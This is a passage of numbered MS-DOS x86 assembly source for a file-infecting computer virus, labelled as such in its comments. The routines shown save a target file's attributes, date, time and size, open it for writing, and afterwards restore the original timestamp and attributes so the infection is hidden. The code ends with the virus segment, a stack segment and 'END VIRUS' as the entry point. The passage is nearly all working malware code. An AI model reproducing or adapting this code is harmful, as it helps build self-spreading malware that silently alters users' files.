  706. ;time in FDATE and FTIME, and the file size in FSIZE. It also sets the
  707. ;file attribute to read/write, and leaves the file opened in read/write
  708. ;mode (since it has to open the file to get the date and size), with the handle
  709. ;it was opened under in HANDLE. The file path and name is in USEFILE.
  710. SAVE_ATTRIBUTE:
  711.     mov     ah,43H          ;get file attr
  712.     mov     al,0
  713.     mov     dx,OFFSET USEFILE
  714.     int     21H
  715.     mov     [FATTR],cl      ;save it here
  716.     mov     ah,43H          ;now set file attr to r/w
  717.     mov     al,1
  718.     mov     dx,OFFSET USEFILE
  719.     mov     cl,0
  720.     int     21H
  721.     mov     dx,OFFSET USEFILE
  722.     mov     al,2            ;now that we know it's r/w
  723.     mov     ah,3DH          ;we can r/w access open file
  724.     int     21H
  725.     mov     [HANDLE],ax     ;save file handle here
  726.     mov     ah,57H          ;and get the file date and time
  727.     xor     al,al
  728.     mov     bx,[HANDLE]
  729.     int     21H
  730.     mov     [FTIME],cx      ;and save it here
  731.     mov     [FDATE],dx      ;and here
  732.     mov     ax,WORD PTR [DTA1+28]   ;file size was set up here by
  733.     mov     WORD PTR [FSIZE+2],ax   ;search routine
  734.     mov     ax,WORD PTR [DTA1+26]   ;so move it to FSIZE
  735.     mov     WORD PTR [FSIZE],ax
  736.     ret
  737.  
  738. ;--------------------------------------------------------------------------
  739. ;Restore file attribute, and date and time of the file as they were before
  740. ;it was infected. This also closes the file
  741. REST_ATTRIBUTE:
  742.     mov     dx,[FDATE]      ;get old date and time
  743.     mov     cx,[FTIME]
  744.     mov     ah,57H          ;set file date and time to old value
  745.     mov     al,1
  746.     mov     bx,[HANDLE]
  747.     int     21H
  748.     mov     ah,3EH
  749.     mov     bx,[HANDLE]     ;close file
  750.     int     21H
  751.     mov     cl,[FATTR]
  752.     xor     ch,ch
  753.     mov     ah,43H          ;Set file attr to old value
  754.     mov     al,1
  755.     mov     dx,OFFSET USEFILE
  756.     int     21H
  757.     ret
  758.  
  759. FINAL:                                  ;last byte of code to be kept in virus
  760.  
  761. VSEG    ENDS
  762.  
  763.  
  764. ;--------------------------------------------------------------------------
  765. ;Virus stack segment
  766.  
  767. VSTACK  SEGMENT PARA STACK
  768.     db STACKSIZE dup (?)
  769. VSTACK  ENDS
  770.  
  771.     END VIRUS               ;Entry point is the virus
  772.